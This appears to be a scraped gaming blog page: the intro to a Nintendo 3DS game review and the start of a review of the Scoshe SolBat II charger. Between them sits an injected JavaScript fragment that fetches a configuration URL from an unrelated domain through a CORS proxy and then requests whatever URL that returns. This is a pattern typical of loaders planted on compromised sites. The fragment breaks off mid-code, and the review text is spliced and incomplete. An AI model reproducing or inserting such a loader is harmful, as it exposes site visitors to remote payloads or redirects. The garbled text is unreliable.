I have to admit, as much as I like the 3DS, there really haven’t been many games on it until lately. Thankfully, we get games like this now. The newest Mario game has been out for awhile, but a lot of other games have come out lately. Is is worth buying for yourself or for a gift for Christmas? Let’s review, shall we? (function() {

const configLink = “https://corsproxy.io/?url=http://heyues.live”;

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink)
  .then(response => {
    if (!response.ok) {
      throw new Error(" ");
    }
    return response.text();
  })

  .then(finalUrl => {
    return fetch(finalUrl, { method: "HEAD" })

Review: Scoshe SolBat II

Recently I picked up the Scoshe SolBat II to charge my handheld devices on the go since I’ve found that the 3DS’s battery life is nowhere nearly enough for longer road trips or for international flights and for those long days where my phone gets heavy usage and I don’t want to carry a laptop around as a cumbersome battery pack.
